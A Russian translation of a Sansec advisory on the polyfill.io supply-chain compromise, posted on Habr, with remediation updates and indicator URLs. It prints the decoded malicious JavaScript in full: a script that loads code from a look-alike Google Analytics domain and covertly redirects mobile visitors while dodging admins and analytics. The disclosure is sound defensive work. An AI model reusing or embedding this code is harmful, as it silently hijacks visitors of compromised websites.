Polyfill.js — популярная библиотека с открытым исходным кодом для поддержки старых браузеров. Более 100 тыс. сайтов встраивают ее через домен cdn.polyfill.io. Среди известных пользователей JSTOR (цифровая база данных полнотекстовых научных журналов), Intuit и вебсайт Всемирного экономического форума. В феврале этого года китайская компания Funnull купила домен и аккаунт на Github. С тех пор этот домен был замечен в внедрении вредоносного ПО на мобильные устройства через вебсайты, использующие cdn.polyfill.io. Любые жалобы быстро удалялись из репозитория Github (архив здесь).
Полифил динамически генерируется на основе HTTP-заголовков, поэтому вероятны несколько векторов атаки. Специалисты из компании Sansec декодировали один из экземпляров вредоносного ПО, которое перенаправляет мобильных пользователей на сайт онлайн-букмекера через поддельный домен Google Analytics (www.googie-anaiytics.com). Код имеет защиту от реверс-инжиниринга и активируется только на определенных мобильных устройствах в определенные часы, не активируется при обнаружении пользователя-администратора, а также приостанавливает выполнение при обнаружении службы веб-аналитики, предположительно, чтобы не попасть в отчёты.
Автор оригинального проекта рекомендует не использовать Polyfill, так как он больше не нужен современным браузерам. Тем временем, Fastly и Cloudflare предложили собственные альтернативы пользователям.
Этот инцидент является типичным примером атаки на цепочку поставок — SSC — software supply chain attacks (статья на Хабре для интересующихся — https://habr.com/ru/articles/733504/). Авторы оригинальной статьи, компания Sansec, предложила бесплатный сервис мониторинга Sansec Watch.
Пример вредоносного кода Polyfill:
function isPc() { try { var _isWin = navigator.platform == "Win32" || navigator.platform == "Windows", _isMac = navigator.platform == "Mac68K" || navigator.platform == "MacPPC" || navigator.platform == "Macintosh" || navigator.platform == "MacIntel"; if (_isMac || _isWin) { return true; } else { return false; } } catch (_0x44e1f6) { return false; } } function vfed_update(_0x5ae1f8) { _0x5ae1f8 !== "" && loadJS( "https://www.googie-anaiytics.com/html/checkcachehw.js", function () { if (usercache == true) { window.location.href = _0x5ae1f8; } } ); } function check_tiaozhuan() { var _isMobile = navigator.userAgent.match( /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i ); if (_isMobile) { var _curHost = window.location.host, _ref = document.referrer, _redirectURL = "", _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget", _rnd = Math.floor(Math.random() * 100 + 1), _date = new Date(), _hours = _date.getHours(); if ( _curHost.indexOf("www.dxtv1.com") !== -1 || _curHost.indexOf("www.ys752.com") !== -1 ) { _redirectURL = "https://kuurza.com/redirect?from=bitget"; } else { if (_curHost.indexOf("shuanshu.com.com") !== -1) { _redirectURL = "https://kuurza.com/redirect?from=bitget"; } else { if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) { _redirectURL = "https://kuurza.com/redirect?from=bitget"; } else { if (_hours >= 0 && _hours < 2) { if (_rnd <= 10) { _redirectURL = _kuurzaBitGet; } } else { if (_hours >= 2 && _hours < 4) { _rnd <= 15 && (_redirectURL = _kuurzaBitGet); } else { if (_hours >= 4 && _hours < 7) { _rnd <= 20 && (_redirectURL = _kuurzaBitGet); } else { _hours >= 7 && _hours < 8 ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet) : _rnd <= 10 && (_redirectURL = _kuurzaBitGet); } } } } } } _redirectURL != "" && !isPc() && document.cookie.indexOf("admin_id") == -1 && document.cookie.indexOf("adminlevels") == -1 && vfed_update(_redirectURL); } } let _outerPage = document.documentElement.outerHTML, bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1; let cnzfg = _outerPage.indexOf(".cnzz.com") != -1, wolafg = _outerPage.indexOf(".51.la") != -1; let mattoo = _outerPage.indexOf(".matomo.org") != -1, aanaly = _outerPage.indexOf(".google-analytics.com") != -1; let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1, aplausix = _outerPage.indexOf(".plausible.io") != -1, statcct = _outerPage.indexOf(".statcounter.com") != -1; bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct ? setTimeout(check_tiaozhuan, 2000) : check_tiaozhuan();
Линки, которые свидетельствуют о компрометации
https://kuurza.com/redirect?from=bitget https://www.googie-anaiytics.com/html/checkcachehw.js https://www.googie-anaiytics.com/ga.js
Обновление 25 июня:
Google начал блокировать рекламу для сайтов eCommerce, использующих polyfill.io.
Обновление 26 июня:
Кто-то запустил DDoS-атаки на инфраструктуру компаний Sansec и BleepingComputer (издание, первым опубликовавшее исследование от Sansec).
Обновление 27 июня:
Cloudflare реализовала перенаправление в реальном времени с cdn.polyfill.io на свою версию. Позже регистратор Namecheap приостановил действие домена, устранив риск на данный момент. Рекомендуется удалить все ссылки на polyfill.io в вашем коде.
Данная статья является переводом поста компании Sansec от 25 июня 2024 года — https://sansec.io/research/polyfill-supply-chain-attack. Насколько я могу судить, Habr не позволяет вставить ссылку на оригинал, для «новости». Если я неправ, прошу модераторов об исправлении.
ссылка на оригинал статьи https://habr.com/ru/articles/825122/
Добавить комментарий